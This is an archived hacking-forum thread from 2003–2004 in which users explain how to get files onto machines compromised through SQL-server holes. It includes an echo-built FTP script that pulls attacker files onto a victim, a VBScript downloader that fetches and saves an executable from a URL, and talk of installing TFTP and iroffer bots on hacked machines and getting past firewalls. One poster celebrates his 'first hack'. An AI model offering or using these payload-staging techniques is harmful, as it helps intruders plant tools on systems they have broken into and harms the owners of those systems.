blah
Aug 19 2003, 02:20 AM
Hey guys, I am I can't seem upload files through tftp, I am behind a router and have tried everything but it seems hopeless, is there any way to get passed this? Btw trying to get into an sql vulnerable system. If you guys have any ideas how i could possibly upload the required files please either do so here, or privately through a private message. Thanks.
DJohn84
Aug 19 2003, 02:39 AM
1) TFTP uses port 69. That port could be blocked by your ISP.
Carefull about using TFTP. The port it uses is being monitered by alot of people.
I find ftp to be more reliable, or found rather.
echo the following to a file on the remote comp
| CODE |
open <ip> <port> <user> <pass> lcd <target dir> get <file(s)> quit |
Then do ftp -v -i -s:file
Good luck.
blah
Aug 19 2003, 02:50 AM
thanks man, was very nice of you to help, but I do need more help, I pmed ya if you could plz reply.
DJohn84
Aug 19 2003, 03:04 AM
np
virus
Aug 19 2003, 03:06 AM
No PM's my dear. This is an open forum u see. We all want to learn. And as for your problem, then I think its because the router has blocked the port for TFTP, which is post 69. Don't know how you can get around the router
DJohn84
Aug 19 2003, 03:20 AM
to get around the router issue you would have to (depending on the router) open port 69, or you might have to forward port 69 to a specific computer after you open it on the router.
blah
Aug 19 2003, 03:21 AM
oh sorry, if I get this damn thing to work, i'll let you all know how I did it. Well I wnet into my router and enabled port 69 but still doesn't work. I tried echo commands such as
echo open yourip port
echo user >>1.txt
echo pass >>1.txt
echo mget *.* >>1.txt
echo bye
ftp.exe -i -s:1.txt
but when i try ftp.exe -i -s:1.txt it doesn't seem to connect. I have tried running both serv-u and tftpd accounts and trying to conenct with that info. Nothing.
hellpppp me
blah
Aug 19 2003, 06:25 AM
thanks djohn u rock, i actually got my first hack
VincentVega
Aug 19 2003, 04:15 PM
! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary glob mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir
DJohn84
Aug 19 2003, 04:30 PM
You're welcome man
DjMillz
Feb 28 2004, 10:56 AM
why u guys use: for example: 1.txt behing >> ?
Flapdrol
Feb 28 2004, 11:19 AM
The ">" character tels the console not to output to the screen but to something else (like a file)
echo BLah > hello.txt
echo BLah2 > hello.txt
puts:
Blah2
in the file hello.txt
BUT
echo BLah >> hello.txt
echo BLah2 >> hello.txt
puts:
Blah
Blah2
in hello.txt
So double ">" appends and single ">" overwrites...
DjMillz
Feb 28 2004, 11:35 AM
So if i do this.."echo open 217.120.*.* 21 > blah (without *.txt) it's not good?
yeyo
Mar 1 2004, 11:02 AM
it will create a blah file without extension
toost
Mar 1 2004, 11:05 AM
yep i would consider the port forwarding stuff in ur router. Mostly can be found under virtual servers /firewall settings or NAT port forwarding menu in ur router console....
I had 2 do the same (and else just install tftp on a hacked machine rofl and hope the other user will not find out

)
DjMillz
Mar 1 2004, 02:47 PM
how i create files on their computer with sqlexec then?
usch
Mar 1 2004, 03:06 PM
what do u mean? if u think of those text files use
echo blablablabla >yourfile.txt
the "echo" command simply displays a test in the dos prompt and the ">" after a command copies that at the end of a specified text file.
if u want the file to be overwritten everytime use ">>" instead of ">"
correct me if i`m wrong ^^
DjMillz
Mar 3 2004, 07:51 PM
hey, i made an ftp, and uploaded files for iroffer including install.bat, but the firewall seems to remove it, is their away around?
technoboy
Mar 3 2004, 08:33 PM
why would anyone need to use tftp ?
just use this little vbs script to upload your file:
| CODE |
Dim DataBin Dim HTTPGET Set HTTPGET = CreateObject("Microsoft.XMLHTTP") HTTPGET.Open "GET", "http://www.target.com/file.exe", False HTTPGET.Send DataBin = HTTPGET.ResponseBody Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim test1 Set test1 = CreateObject("ADODB.Stream") test1.Type = adTypeBinary test1.Open test1.Write DataBin test1.SaveToFile "file.exe", adSaveCreateOverWrite
|
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please
click here.